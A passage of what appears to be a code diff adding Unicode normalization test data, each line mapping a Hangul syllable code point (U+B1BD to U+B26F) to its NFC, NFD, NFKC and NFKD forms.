+{ source: [0xB1BD], NFC: [0xB1BD], NFD: [0x1102, 0x116B, 0x11B4], NFKC: [0xB1BD], NFKD: [0x1102, 0x116B, 0x11B4] },
+{ source: [0xB1BE], NFC: [0xB1BE], NFD: [0x1102, 0x116B, 0x11B5], NFKC: [0xB1BE], NFKD: [0x1102, 0x116B, 0x11B5] },
+{ source: [0xB1BF], NFC: [0xB1BF], NFD: [0x1102, 0x116B, 0x11B6], NFKC: [0xB1BF], NFKD: [0x1102, 0x116B, 0x11B6] },
+{ source: [0xB1C0], NFC: [0xB1C0], NFD: [0x1102, 0x116B, 0x11B7], NFKC: [0xB1C0], NFKD: [0x1102, 0x116B, 0x11B7] },
+{ source: [0xB1C1], NFC: [0xB1C1], NFD: [0x1102, 0x116B, 0x11B8], NFKC: [0xB1C1], NFKD: [0x1102, 0x116B, 0x11B8] },
+{ source: [0xB1C2], NFC: [0xB1C2], NFD: [0x1102, 0x116B, 0x11B9], NFKC: [0xB1C2], NFKD: [0x1102, 0x116B, 0x11B9] },
+{ source: [0xB1C3], NFC: [0xB1C3], NFD: [0x1102, 0x116B, 0x11BA], NFKC: [0xB1C3], NFKD: [0x1102, 0x116B, 0x11BA] },
+{ source: [0xB1C4], NFC: [0xB1C4], NFD: [0x1102, 0x116B, 0x11BB], NFKC: [0xB1C4], NFKD: [0x1102, 0x116B, 0x11BB] },
+{ source: [0xB1C5], NFC: [0xB1C5], NFD: [0x1102, 0x116B, 0x11BC], NFKC: [0xB1C5], NFKD: [0x1102, 0x116B, 0x11BC] },
+{ source: [0xB1C6], NFC: [0xB1C6], NFD: [0x1102, 0x116B, 0x11BD], NFKC: [0xB1C6], NFKD: [0x1102, 0x116B, 0x11BD] },
+{ source: [0xB1C7], NFC: [0xB1C7], NFD: [0x1102, 0x116B, 0x11BE], NFKC: [0xB1C7], NFKD: [0x1102, 0x116B, 0x11BE] },
+{ source: [0xB1C8], NFC: [0xB1C8], NFD: [0x1102, 0x116B, 0x11BF], NFKC: [0xB1C8], NFKD: [0x1102, 0x116B, 0x11BF] },
+{ source: [0xB1C9], NFC: [0xB1C9], NFD: [0x1102, 0x116B, 0x11C0], NFKC: [0xB1C9], NFKD: [0x1102, 0x116B, 0x11C0] },
+{ source: [0xB1CA], NFC: [0xB1CA], NFD: [0x1102, 0x116B, 0x11C1], NFKC: [0xB1CA], NFKD: [0x1102, 0x116B, 0x11C1] },
+{ source: [0xB1CB], NFC: [0xB1CB], NFD: [0x1102, 0x116B, 0x11C2], NFKC: [0xB1CB], NFKD: [0x1102, 0x116B, 0x11C2] },
+{ source: [0xB1CC], NFC: [0xB1CC], NFD: [0x1102, 0x116C], NFKC: [0xB1CC], NFKD: [0x1102, 0x116C] },
+{ source: [0xB1CD], NFC: [0xB1CD], NFD: [0x1102, 0x116C, 0x11A8], NFKC: [0xB1CD], NFKD: [0x1102, 0x116C, 0x11A8] },
+{ source: [0xB1CE], NFC: [0xB1CE], NFD: [0x1102, 0x116C, 0x11A9], NFKC: [0xB1CE], NFKD: [0x1102, 0x116C, 0x11A9] },
+{ source: [0xB1CF], NFC: [0xB1CF], NFD: [0x1102, 0x116C, 0x11AA], NFKC: [0xB1CF], NFKD: [0x1102, 0x116C, 0x11AA] },
+{ source: [0xB1D0], NFC: [0xB1D0], NFD: [0x1102, 0x116C, 0x11AB], NFKC: [0xB1D0], NFKD: [0x1102, 0x116C, 0x11AB] },
+{ source: [0xB1D1], NFC: [0xB1D1], NFD: [0x1102, 0x116C, 0x11AC], NFKC: [0xB1D1], NFKD: [0x1102, 0x116C, 0x11AC] },
+{ source: [0xB1D2], NFC: [0xB1D2], NFD: [0x1102, 0x116C, 0x11AD], NFKC: [0xB1D2], NFKD: [0x1102, 0x116C, 0x11AD] },
+{ source: [0xB1D3], NFC: [0xB1D3], NFD: [0x1102, 0x116C, 0x11AE], NFKC: [0xB1D3], NFKD: [0x1102, 0x116C, 0x11AE] },
+{ source: [0xB1D4], NFC: [0xB1D4], NFD: [0x1102, 0x116C, 0x11AF], NFKC: [0xB1D4], NFKD: [0x1102, 0x116C, 0x11AF] },
+{ source: [0xB1D5], NFC: [0xB1D5], NFD: [0x1102, 0x116C, 0x11B0], NFKC: [0xB1D5], NFKD: [0x1102, 0x116C, 0x11B0] },
+{ source: [0xB1D6], NFC: [0xB1D6], NFD: [0x1102, 0x116C, 0x11B1], NFKC: [0xB1D6], NFKD: [0x1102, 0x116C, 0x11B1] },
+{ source: [0xB1D7], NFC: [0xB1D7], NFD: [0x1102, 0x116C, 0x11B2], NFKC: [0xB1D7], NFKD: [0x1102, 0x116C, 0x11B2] },
+{ source: [0xB1D8], NFC: [0xB1D8], NFD: [0x1102, 0x116C, 0x11B3], NFKC: [0xB1D8], NFKD: [0x1102, 0x116C, 0x11B3] },
+{ source: [0xB1D9], NFC: [0xB1D9], NFD: [0x1102, 0x116C, 0x11B4], NFKC: [0xB1D9], NFKD: [0x1102, 0x116C, 0x11B4] },
+{ source: [0xB1DA], NFC: [0xB1DA], NFD: [0x1102, 0x116C, 0x11B5], NFKC: [0xB1DA], NFKD: [0x1102, 0x116C, 0x11B5] },
+{ source: [0xB1DB], NFC: [0xB1DB], NFD: [0x1102, 0x116C, 0x11B6], NFKC: [0xB1DB], NFKD: [0x1102, 0x116C, 0x11B6] },
+{ source: [0xB1DC], NFC: [0xB1DC], NFD: [0x1102, 0x116C, 0x11B7], NFKC: [0xB1DC], NFKD: [0x1102, 0x116C, 0x11B7] },
+{ source: [0xB1DD], NFC: [0xB1DD], NFD: [0x1102, 0x116C, 0x11B8], NFKC: [0xB1DD], NFKD: [0x1102, 0x116C, 0x11B8] },
+{ source: [0xB1DE], NFC: [0xB1DE], NFD: [0x1102, 0x116C, 0x11B9], NFKC: [0xB1DE], NFKD: [0x1102, 0x116C, 0x11B9] },
+{ source: [0xB1DF], NFC: [0xB1DF], NFD: [0x1102, 0x116C, 0x11BA], NFKC: [0xB1DF], NFKD: [0x1102, 0x116C, 0x11BA] },
+{ source: [0xB1E0], NFC: [0xB1E0], NFD: [0x1102, 0x116C, 0x11BB], NFKC: [0xB1E0], NFKD: [0x1102, 0x116C, 0x11BB] },
+{ source: [0xB1E1], NFC: [0xB1E1], NFD: [0x1102, 0x116C, 0x11BC], NFKC: [0xB1E1], NFKD: [0x1102, 0x116C, 0x11BC] },
+{ source: [0xB1E2], NFC: [0xB1E2], NFD: [0x1102, 0x116C, 0x11BD], NFKC: [0xB1E2], NFKD: [0x1102, 0x116C, 0x11BD] },
+{ source: [0xB1E3], NFC: [0xB1E3], NFD: [0x1102, 0x116C, 0x11BE], NFKC: [0xB1E3], NFKD: [0x1102, 0x116C, 0x11BE] },
+{ source: [0xB1E4], NFC: [0xB1E4], NFD: [0x1102, 0x116C, 0x11BF], NFKC: [0xB1E4], NFKD: [0x1102, 0x116C, 0x11BF] },
+{ source: [0xB1E5], NFC: [0xB1E5], NFD: [0x1102, 0x116C, 0x11C0], NFKC: [0xB1E5], NFKD: [0x1102, 0x116C, 0x11C0] },
+{ source: [0xB1E6], NFC: [0xB1E6], NFD: [0x1102, 0x116C, 0x11C1], NFKC: [0xB1E6], NFKD: [0x1102, 0x116C, 0x11C1] },
+{ source: [0xB1E7], NFC: [0xB1E7], NFD: [0x1102, 0x116C, 0x11C2], NFKC: [0xB1E7], NFKD: [0x1102, 0x116C, 0x11C2] },
+{ source: [0xB1E8], NFC: [0xB1E8], NFD: [0x1102, 0x116D], NFKC: [0xB1E8], NFKD: [0x1102, 0x116D] },
+{ source: [0xB1E9], NFC: [0xB1E9], NFD: [0x1102, 0x116D, 0x11A8], NFKC: [0xB1E9], NFKD: [0x1102, 0x116D, 0x11A8] },
+{ source: [0xB1EA], NFC: [0xB1EA], NFD: [0x1102, 0x116D, 0x11A9], NFKC: [0xB1EA], NFKD: [0x1102, 0x116D, 0x11A9] },
+{ source: [0xB1EB], NFC: [0xB1EB], NFD: [0x1102, 0x116D, 0x11AA], NFKC: [0xB1EB], NFKD: [0x1102, 0x116D, 0x11AA] },
+{ source: [0xB1EC], NFC: [0xB1EC], NFD: [0x1102, 0x116D, 0x11AB], NFKC: [0xB1EC], NFKD: [0x1102, 0x116D, 0x11AB] },
+{ source: [0xB1ED], NFC: [0xB1ED], NFD: [0x1102, 0x116D, 0x11AC], NFKC: [0xB1ED], NFKD: [0x1102, 0x116D, 0x11AC] },
+{ source: [0xB1EE], NFC: [0xB1EE], NFD: [0x1102, 0x116D, 0x11AD], NFKC: [0xB1EE], NFKD: [0x1102, 0x116D, 0x11AD] },
+{ source: [0xB1EF], NFC: [0xB1EF], NFD: [0x1102, 0x116D, 0x11AE], NFKC: [0xB1EF], NFKD: [0x1102, 0x116D, 0x11AE] },
+{ source: [0xB1F0], NFC: [0xB1F0], NFD: [0x1102, 0x116D, 0x11AF], NFKC: [0xB1F0], NFKD: [0x1102, 0x116D, 0x11AF] },
+{ source: [0xB1F1], NFC: [0xB1F1], NFD: [0x1102, 0x116D, 0x11B0], NFKC: [0xB1F1], NFKD: [0x1102, 0x116D, 0x11B0] },
+{ source: [0xB1F2], NFC: [0xB1F2], NFD: [0x1102, 0x116D, 0x11B1], NFKC: [0xB1F2], NFKD: [0x1102, 0x116D, 0x11B1] },
+{ source: [0xB1F3], NFC: [0xB1F3], NFD: [0x1102, 0x116D, 0x11B2], NFKC: [0xB1F3], NFKD: [0x1102, 0x116D, 0x11B2] },
+{ source: [0xB1F4], NFC: [0xB1F4], NFD: [0x1102, 0x116D, 0x11B3], NFKC: [0xB1F4], NFKD: [0x1102, 0x116D, 0x11B3] },
+{ source: [0xB1F5], NFC: [0xB1F5], NFD: [0x1102, 0x116D, 0x11B4], NFKC: [0xB1F5], NFKD: [0x1102, 0x116D, 0x11B4] },
+{ source: [0xB1F6], NFC: [0xB1F6], NFD: [0x1102, 0x116D, 0x11B5], NFKC: [0xB1F6], NFKD: [0x1102, 0x116D, 0x11B5] },
+{ source: [0xB1F7], NFC: [0xB1F7], NFD: [0x1102, 0x116D, 0x11B6], NFKC: [0xB1F7], NFKD: [0x1102, 0x116D, 0x11B6] },
+{ source: [0xB1F8], NFC: [0xB1F8], NFD: [0x1102, 0x116D, 0x11B7], NFKC: [0xB1F8], NFKD: [0x1102, 0x116D, 0x11B7] },
+{ source: [0xB1F9], NFC: [0xB1F9], NFD: [0x1102, 0x116D, 0x11B8], NFKC: [0xB1F9], NFKD: [0x1102, 0x116D, 0x11B8] },
+{ source: [0xB1FA], NFC: [0xB1FA], NFD: [0x1102, 0x116D, 0x11B9], NFKC: [0xB1FA], NFKD: [0x1102, 0x116D, 0x11B9] },
+{ source: [0xB1FB], NFC: [0xB1FB], NFD: [0x1102, 0x116D, 0x11BA], NFKC: [0xB1FB], NFKD: [0x1102, 0x116D, 0x11BA] },
+{ source: [0xB1FC], NFC: [0xB1FC], NFD: [0x1102, 0x116D, 0x11BB], NFKC: [0xB1FC], NFKD: [0x1102, 0x116D, 0x11BB] },
+{ source: [0xB1FD], NFC: [0xB1FD], NFD: [0x1102, 0x116D, 0x11BC], NFKC: [0xB1FD], NFKD: [0x1102, 0x116D, 0x11BC] },
+{ source: [0xB1FE], NFC: [0xB1FE], NFD: [0x1102, 0x116D, 0x11BD], NFKC: [0xB1FE], NFKD: [0x1102, 0x116D, 0x11BD] },
+{ source: [0xB1FF], NFC: [0xB1FF], NFD: [0x1102, 0x116D, 0x11BE], NFKC: [0xB1FF], NFKD: [0x1102, 0x116D, 0x11BE] },
+{ source: [0xB200], NFC: [0xB200], NFD: [0x1102, 0x116D, 0x11BF], NFKC: [0xB200], NFKD: [0x1102, 0x116D, 0x11BF] },
+{ source: [0xB201], NFC: [0xB201], NFD: [0x1102, 0x116D, 0x11C0], NFKC: [0xB201], NFKD: [0x1102, 0x116D, 0x11C0] },
+{ source: [0xB202], NFC: [0xB202], NFD: [0x1102, 0x116D, 0x11C1], NFKC: [0xB202], NFKD: [0x1102, 0x116D, 0x11C1] },
+{ source: [0xB203], NFC: [0xB203], NFD: [0x1102, 0x116D, 0x11C2], NFKC: [0xB203], NFKD: [0x1102, 0x116D, 0x11C2] },
+{ source: [0xB204], NFC: [0xB204], NFD: [0x1102, 0x116E], NFKC: [0xB204], NFKD: [0x1102, 0x116E] },
+{ source: [0xB205], NFC: [0xB205], NFD: [0x1102, 0x116E, 0x11A8], NFKC: [0xB205], NFKD: [0x1102, 0x116E, 0x11A8] },
+{ source: [0xB206], NFC: [0xB206], NFD: [0x1102, 0x116E, 0x11A9], NFKC: [0xB206], NFKD: [0x1102, 0x116E, 0x11A9] },
+{ source: [0xB207], NFC: [0xB207], NFD: [0x1102, 0x116E, 0x11AA], NFKC: [0xB207], NFKD: [0x1102, 0x116E, 0x11AA] },
+{ source: [0xB208], NFC: [0xB208], NFD: [0x1102, 0x116E, 0x11AB], NFKC: [0xB208], NFKD: [0x1102, 0x116E, 0x11AB] },
+{ source: [0xB209], NFC: [0xB209], NFD: [0x1102, 0x116E, 0x11AC], NFKC: [0xB209], NFKD: [0x1102, 0x116E, 0x11AC] },
+{ source: [0xB20A], NFC: [0xB20A], NFD: [0x1102, 0x116E, 0x11AD], NFKC: [0xB20A], NFKD: [0x1102, 0x116E, 0x11AD] },
+{ source: [0xB20B], NFC: [0xB20B], NFD: [0x1102, 0x116E, 0x11AE], NFKC: [0xB20B], NFKD: [0x1102, 0x116E, 0x11AE] },
+{ source: [0xB20C], NFC: [0xB20C], NFD: [0x1102, 0x116E, 0x11AF], NFKC: [0xB20C], NFKD: [0x1102, 0x116E, 0x11AF] },
+{ source: [0xB20D], NFC: [0xB20D], NFD: [0x1102, 0x116E, 0x11B0], NFKC: [0xB20D], NFKD: [0x1102, 0x116E, 0x11B0] },
+{ source: [0xB20E], NFC: [0xB20E], NFD: [0x1102, 0x116E, 0x11B1], NFKC: [0xB20E], NFKD: [0x1102, 0x116E, 0x11B1] },
+{ source: [0xB20F], NFC: [0xB20F], NFD: [0x1102, 0x116E, 0x11B2], NFKC: [0xB20F], NFKD: [0x1102, 0x116E, 0x11B2] },
+{ source: [0xB210], NFC: [0xB210], NFD: [0x1102, 0x116E, 0x11B3], NFKC: [0xB210], NFKD: [0x1102, 0x116E, 0x11B3] },
+{ source: [0xB211], NFC: [0xB211], NFD: [0x1102, 0x116E, 0x11B4], NFKC: [0xB211], NFKD: [0x1102, 0x116E, 0x11B4] },
+{ source: [0xB212], NFC: [0xB212], NFD: [0x1102, 0x116E, 0x11B5], NFKC: [0xB212], NFKD: [0x1102, 0x116E, 0x11B5] },
+{ source: [0xB213], NFC: [0xB213], NFD: [0x1102, 0x116E, 0x11B6], NFKC: [0xB213], NFKD: [0x1102, 0x116E, 0x11B6] },
+{ source: [0xB214], NFC: [0xB214], NFD: [0x1102, 0x116E, 0x11B7], NFKC: [0xB214], NFKD: [0x1102, 0x116E, 0x11B7] },
+{ source: [0xB215], NFC: [0xB215], NFD: [0x1102, 0x116E, 0x11B8], NFKC: [0xB215], NFKD: [0x1102, 0x116E, 0x11B8] },
+{ source: [0xB216], NFC: [0xB216], NFD: [0x1102, 0x116E, 0x11B9], NFKC: [0xB216], NFKD: [0x1102, 0x116E, 0x11B9] },
+{ source: [0xB217], NFC: [0xB217], NFD: [0x1102, 0x116E, 0x11BA], NFKC: [0xB217], NFKD: [0x1102, 0x116E, 0x11BA] },
+{ source: [0xB218], NFC: [0xB218], NFD: [0x1102, 0x116E, 0x11BB], NFKC: [0xB218], NFKD: [0x1102, 0x116E, 0x11BB] },
+{ source: [0xB219], NFC: [0xB219], NFD: [0x1102, 0x116E, 0x11BC], NFKC: [0xB219], NFKD: [0x1102, 0x116E, 0x11BC] },
+{ source: [0xB21A], NFC: [0xB21A], NFD: [0x1102, 0x116E, 0x11BD], NFKC: [0xB21A], NFKD: [0x1102, 0x116E, 0x11BD] },
+{ source: [0xB21B], NFC: [0xB21B], NFD: [0x1102, 0x116E, 0x11BE], NFKC: [0xB21B], NFKD: [0x1102, 0x116E, 0x11BE] },
+{ source: [0xB21C], NFC: [0xB21C], NFD: [0x1102, 0x116E, 0x11BF], NFKC: [0xB21C], NFKD: [0x1102, 0x116E, 0x11BF] },
+{ source: [0xB21D], NFC: [0xB21D], NFD: [0x1102, 0x116E, 0x11C0], NFKC: [0xB21D], NFKD: [0x1102, 0x116E, 0x11C0] },
+{ source: [0xB21E], NFC: [0xB21E], NFD: [0x1102, 0x116E, 0x11C1], NFKC: [0xB21E], NFKD: [0x1102, 0x116E, 0x11C1] },
+{ source: [0xB21F], NFC: [0xB21F], NFD: [0x1102, 0x116E, 0x11C2], NFKC: [0xB21F], NFKD: [0x1102, 0x116E, 0x11C2] },
+{ source: [0xB220], NFC: [0xB220], NFD: [0x1102, 0x116F], NFKC: [0xB220], NFKD: [0x1102, 0x116F] },
+{ source: [0xB221], NFC: [0xB221], NFD: [0x1102, 0x116F, 0x11A8], NFKC: [0xB221], NFKD: [0x1102, 0x116F, 0x11A8] },
+{ source: [0xB222], NFC: [0xB222], NFD: [0x1102, 0x116F, 0x11A9], NFKC: [0xB222], NFKD: [0x1102, 0x116F, 0x11A9] },
+{ source: [0xB223], NFC: [0xB223], NFD: [0x1102, 0x116F, 0x11AA], NFKC: [0xB223], NFKD: [0x1102, 0x116F, 0x11AA] },
+{ source: [0xB224], NFC: [0xB224], NFD: [0x1102, 0x116F, 0x11AB], NFKC: [0xB224], NFKD: [0x1102, 0x116F, 0x11AB] },
+{ source: [0xB225], NFC: [0xB225], NFD: [0x1102, 0x116F, 0x11AC], NFKC: [0xB225], NFKD: [0x1102, 0x116F, 0x11AC] },
+{ source: [0xB226], NFC: [0xB226], NFD: [0x1102, 0x116F, 0x11AD], NFKC: [0xB226], NFKD: [0x1102, 0x116F, 0x11AD] },
+{ source: [0xB227], NFC: [0xB227], NFD: [0x1102, 0x116F, 0x11AE], NFKC: [0xB227], NFKD: [0x1102, 0x116F, 0x11AE] },
+{ source: [0xB228], NFC: [0xB228], NFD: [0x1102, 0x116F, 0x11AF], NFKC: [0xB228], NFKD: [0x1102, 0x116F, 0x11AF] },
+{ source: [0xB229], NFC: [0xB229], NFD: [0x1102, 0x116F, 0x11B0], NFKC: [0xB229], NFKD: [0x1102, 0x116F, 0x11B0] },
+{ source: [0xB22A], NFC: [0xB22A], NFD: [0x1102, 0x116F, 0x11B1], NFKC: [0xB22A], NFKD: [0x1102, 0x116F, 0x11B1] },
+{ source: [0xB22B], NFC: [0xB22B], NFD: [0x1102, 0x116F, 0x11B2], NFKC: [0xB22B], NFKD: [0x1102, 0x116F, 0x11B2] },
+{ source: [0xB22C], NFC: [0xB22C], NFD: [0x1102, 0x116F, 0x11B3], NFKC: [0xB22C], NFKD: [0x1102, 0x116F, 0x11B3] },
+{ source: [0xB22D], NFC: [0xB22D], NFD: [0x1102, 0x116F, 0x11B4], NFKC: [0xB22D], NFKD: [0x1102, 0x116F, 0x11B4] },
+{ source: [0xB22E], NFC: [0xB22E], NFD: [0x1102, 0x116F, 0x11B5], NFKC: [0xB22E], NFKD: [0x1102, 0x116F, 0x11B5] },
+{ source: [0xB22F], NFC: [0xB22F], NFD: [0x1102, 0x116F, 0x11B6], NFKC: [0xB22F], NFKD: [0x1102, 0x116F, 0x11B6] },
+{ source: [0xB230], NFC: [0xB230], NFD: [0x1102, 0x116F, 0x11B7], NFKC: [0xB230], NFKD: [0x1102, 0x116F, 0x11B7] },
+{ source: [0xB231], NFC: [0xB231], NFD: [0x1102, 0x116F, 0x11B8], NFKC: [0xB231], NFKD: [0x1102, 0x116F, 0x11B8] },
+{ source: [0xB232], NFC: [0xB232], NFD: [0x1102, 0x116F, 0x11B9], NFKC: [0xB232], NFKD: [0x1102, 0x116F, 0x11B9] },
+{ source: [0xB233], NFC: [0xB233], NFD: [0x1102, 0x116F, 0x11BA], NFKC: [0xB233], NFKD: [0x1102, 0x116F, 0x11BA] },
+{ source: [0xB234], NFC: [0xB234], NFD: [0x1102, 0x116F, 0x11BB], NFKC: [0xB234], NFKD: [0x1102, 0x116F, 0x11BB] },
+{ source: [0xB235], NFC: [0xB235], NFD: [0x1102, 0x116F, 0x11BC], NFKC: [0xB235], NFKD: [0x1102, 0x116F, 0x11BC] },
+{ source: [0xB236], NFC: [0xB236], NFD: [0x1102, 0x116F, 0x11BD], NFKC: [0xB236], NFKD: [0x1102, 0x116F, 0x11BD] },
+{ source: [0xB237], NFC: [0xB237], NFD: [0x1102, 0x116F, 0x11BE], NFKC: [0xB237], NFKD: [0x1102, 0x116F, 0x11BE] },
+{ source: [0xB238], NFC: [0xB238], NFD: [0x1102, 0x116F, 0x11BF], NFKC: [0xB238], NFKD: [0x1102, 0x116F, 0x11BF] },
+{ source: [0xB239], NFC: [0xB239], NFD: [0x1102, 0x116F, 0x11C0], NFKC: [0xB239], NFKD: [0x1102, 0x116F, 0x11C0] },
+{ source: [0xB23A], NFC: [0xB23A], NFD: [0x1102, 0x116F, 0x11C1], NFKC: [0xB23A], NFKD: [0x1102, 0x116F, 0x11C1] },
+{ source: [0xB23B], NFC: [0xB23B], NFD: [0x1102, 0x116F, 0x11C2], NFKC: [0xB23B], NFKD: [0x1102, 0x116F, 0x11C2] },
+{ source: [0xB23C], NFC: [0xB23C], NFD: [0x1102, 0x1170], NFKC: [0xB23C], NFKD: [0x1102, 0x1170] },
+{ source: [0xB23D], NFC: [0xB23D], NFD: [0x1102, 0x1170, 0x11A8], NFKC: [0xB23D], NFKD: [0x1102, 0x1170, 0x11A8] },
+{ source: [0xB23E], NFC: [0xB23E], NFD: [0x1102, 0x1170, 0x11A9], NFKC: [0xB23E], NFKD: [0x1102, 0x1170, 0x11A9] },
+{ source: [0xB23F], NFC: [0xB23F], NFD: [0x1102, 0x1170, 0x11AA], NFKC: [0xB23F], NFKD: [0x1102, 0x1170, 0x11AA] },
+{ source: [0xB240], NFC: [0xB240], NFD: [0x1102, 0x1170, 0x11AB], NFKC: [0xB240], NFKD: [0x1102, 0x1170, 0x11AB] },
+{ source: [0xB241], NFC: [0xB241], NFD: [0x1102, 0x1170, 0x11AC], NFKC: [0xB241], NFKD: [0x1102, 0x1170, 0x11AC] },
+{ source: [0xB242], NFC: [0xB242], NFD: [0x1102, 0x1170, 0x11AD], NFKC: [0xB242], NFKD: [0x1102, 0x1170, 0x11AD] },
+{ source: [0xB243], NFC: [0xB243], NFD: [0x1102, 0x1170, 0x11AE], NFKC: [0xB243], NFKD: [0x1102, 0x1170, 0x11AE] },
+{ source: [0xB244], NFC: [0xB244], NFD: [0x1102, 0x1170, 0x11AF], NFKC: [0xB244], NFKD: [0x1102, 0x1170, 0x11AF] },
+{ source: [0xB245], NFC: [0xB245], NFD: [0x1102, 0x1170, 0x11B0], NFKC: [0xB245], NFKD: [0x1102, 0x1170, 0x11B0] },
+{ source: [0xB246], NFC: [0xB246], NFD: [0x1102, 0x1170, 0x11B1], NFKC: [0xB246], NFKD: [0x1102, 0x1170, 0x11B1] },
+{ source: [0xB247], NFC: [0xB247], NFD: [0x1102, 0x1170, 0x11B2], NFKC: [0xB247], NFKD: [0x1102, 0x1170, 0x11B2] },
+{ source: [0xB248], NFC: [0xB248], NFD: [0x1102, 0x1170, 0x11B3], NFKC: [0xB248], NFKD: [0x1102, 0x1170, 0x11B3] },
+{ source: [0xB249], NFC: [0xB249], NFD: [0x1102, 0x1170, 0x11B4], NFKC: [0xB249], NFKD: [0x1102, 0x1170, 0x11B4] },
+{ source: [0xB24A], NFC: [0xB24A], NFD: [0x1102, 0x1170, 0x11B5], NFKC: [0xB24A], NFKD: [0x1102, 0x1170, 0x11B5] },
+{ source: [0xB24B], NFC: [0xB24B], NFD: [0x1102, 0x1170, 0x11B6], NFKC: [0xB24B], NFKD: [0x1102, 0x1170, 0x11B6] },
+{ source: [0xB24C], NFC: [0xB24C], NFD: [0x1102, 0x1170, 0x11B7], NFKC: [0xB24C], NFKD: [0x1102, 0x1170, 0x11B7] },
+{ source: [0xB24D], NFC: [0xB24D], NFD: [0x1102, 0x1170, 0x11B8], NFKC: [0xB24D], NFKD: [0x1102, 0x1170, 0x11B8] },
+{ source: [0xB24E], NFC: [0xB24E], NFD: [0x1102, 0x1170, 0x11B9], NFKC: [0xB24E], NFKD: [0x1102, 0x1170, 0x11B9] },
+{ source: [0xB24F], NFC: [0xB24F], NFD: [0x1102, 0x1170, 0x11BA], NFKC: [0xB24F], NFKD: [0x1102, 0x1170, 0x11BA] },
+{ source: [0xB250], NFC: [0xB250], NFD: [0x1102, 0x1170, 0x11BB], NFKC: [0xB250], NFKD: [0x1102, 0x1170, 0x11BB] },
+{ source: [0xB251], NFC: [0xB251], NFD: [0x1102, 0x1170, 0x11BC], NFKC: [0xB251], NFKD: [0x1102, 0x1170, 0x11BC] },
+{ source: [0xB252], NFC: [0xB252], NFD: [0x1102, 0x1170, 0x11BD], NFKC: [0xB252], NFKD: [0x1102, 0x1170, 0x11BD] },
+{ source: [0xB253], NFC: [0xB253], NFD: [0x1102, 0x1170, 0x11BE], NFKC: [0xB253], NFKD: [0x1102, 0x1170, 0x11BE] },
+{ source: [0xB254], NFC: [0xB254], NFD: [0x1102, 0x1170, 0x11BF], NFKC: [0xB254], NFKD: [0x1102, 0x1170, 0x11BF] },
+{ source: [0xB255], NFC: [0xB255], NFD: [0x1102, 0x1170, 0x11C0], NFKC: [0xB255], NFKD: [0x1102, 0x1170, 0x11C0] },
+{ source: [0xB256], NFC: [0xB256], NFD: [0x1102, 0x1170, 0x11C1], NFKC: [0xB256], NFKD: [0x1102, 0x1170, 0x11C1] },
+{ source: [0xB257], NFC: [0xB257], NFD: [0x1102, 0x1170, 0x11C2], NFKC: [0xB257], NFKD: [0x1102, 0x1170, 0x11C2] },
+{ source: [0xB258], NFC: [0xB258], NFD: [0x1102, 0x1171], NFKC: [0xB258], NFKD: [0x1102, 0x1171] },
+{ source: [0xB259], NFC: [0xB259], NFD: [0x1102, 0x1171, 0x11A8], NFKC: [0xB259], NFKD: [0x1102, 0x1171, 0x11A8] },
+{ source: [0xB25A], NFC: [0xB25A], NFD: [0x1102, 0x1171, 0x11A9], NFKC: [0xB25A], NFKD: [0x1102, 0x1171, 0x11A9] },
+{ source: [0xB25B], NFC: [0xB25B], NFD: [0x1102, 0x1171, 0x11AA], NFKC: [0xB25B], NFKD: [0x1102, 0x1171, 0x11AA] },
+{ source: [0xB25C], NFC: [0xB25C], NFD: [0x1102, 0x1171, 0x11AB], NFKC: [0xB25C], NFKD: [0x1102, 0x1171, 0x11AB] },
+{ source: [0xB25D], NFC: [0xB25D], NFD: [0x1102, 0x1171, 0x11AC], NFKC: [0xB25D], NFKD: [0x1102, 0x1171, 0x11AC] },
+{ source: [0xB25E], NFC: [0xB25E], NFD: [0x1102, 0x1171, 0x11AD], NFKC: [0xB25E], NFKD: [0x1102, 0x1171, 0x11AD] },
+{ source: [0xB25F], NFC: [0xB25F], NFD: [0x1102, 0x1171, 0x11AE], NFKC: [0xB25F], NFKD: [0x1102, 0x1171, 0x11AE] },
+{ source: [0xB260], NFC: [0xB260], NFD: [0x1102, 0x1171, 0x11AF], NFKC: [0xB260], NFKD: [0x1102, 0x1171, 0x11AF] },
+{ source: [0xB261], NFC: [0xB261], NFD: [0x1102, 0x1171, 0x11B0], NFKC: [0xB261], NFKD: [0x1102, 0x1171, 0x11B0] },
+{ source: [0xB262], NFC: [0xB262], NFD: [0x1102, 0x1171, 0x11B1], NFKC: [0xB262], NFKD: [0x1102, 0x1171, 0x11B1] },
+{ source: [0xB263], NFC: [0xB263], NFD: [0x1102, 0x1171, 0x11B2], NFKC: [0xB263], NFKD: [0x1102, 0x1171, 0x11B2] },
+{ source: [0xB264], NFC: [0xB264], NFD: [0x1102, 0x1171, 0x11B3], NFKC: [0xB264], NFKD: [0x1102, 0x1171, 0x11B3] },
+{ source: [0xB265], NFC: [0xB265], NFD: [0x1102, 0x1171, 0x11B4], NFKC: [0xB265], NFKD: [0x1102, 0x1171, 0x11B4] },
+{ source: [0xB266], NFC: [0xB266], NFD: [0x1102, 0x1171, 0x11B5], NFKC: [0xB266], NFKD: [0x1102, 0x1171, 0x11B5] },
+{ source: [0xB267], NFC: [0xB267], NFD: [0x1102, 0x1171, 0x11B6], NFKC: [0xB267], NFKD: [0x1102, 0x1171, 0x11B6] },
+{ source: [0xB268], NFC: [0xB268], NFD: [0x1102, 0x1171, 0x11B7], NFKC: [0xB268], NFKD: [0x1102, 0x1171, 0x11B7] },
+{ source: [0xB269], NFC: [0xB269], NFD: [0x1102, 0x1171, 0x11B8], NFKC: [0xB269], NFKD: [0x1102, 0x1171, 0x11B8] },
+{ source: [0xB26A], NFC: [0xB26A], NFD: [0x1102, 0x1171, 0x11B9], NFKC: [0xB26A], NFKD: [0x1102, 0x1171, 0x11B9] },
+{ source: [0xB26B], NFC: [0xB26B], NFD: [0x1102, 0x1171, 0x11BA], NFKC: [0xB26B], NFKD: [0x1102, 0x1171, 0x11BA] },
+{ source: [0xB26C], NFC: [0xB26C], NFD: [0x1102, 0x1171, 0x11BB], NFKC: [0xB26C], NFKD: [0x1102, 0x1171, 0x11BB] },
+{ source: [0xB26D], NFC: [0xB26D], NFD: [0x1102, 0x1171, 0x11BC], NFKC: [0xB26D], NFKD: [0x1102, 0x1171, 0x11BC] },
+{ source: [0xB26E], NFC: [0xB26E], NFD: [0x1102, 0x1171, 0x11BD], NFKC: [0xB26E], NFKD: [0x1102, 0x1171, 0x11BD] },
+{ source: [0xB26F], NFC: [0xB26F], NFD: [0x1102, 0x1171, 0x11BE], NFKC: [0xB26F], NFKD: [0x1102, 0x1171, 0x11BE] },
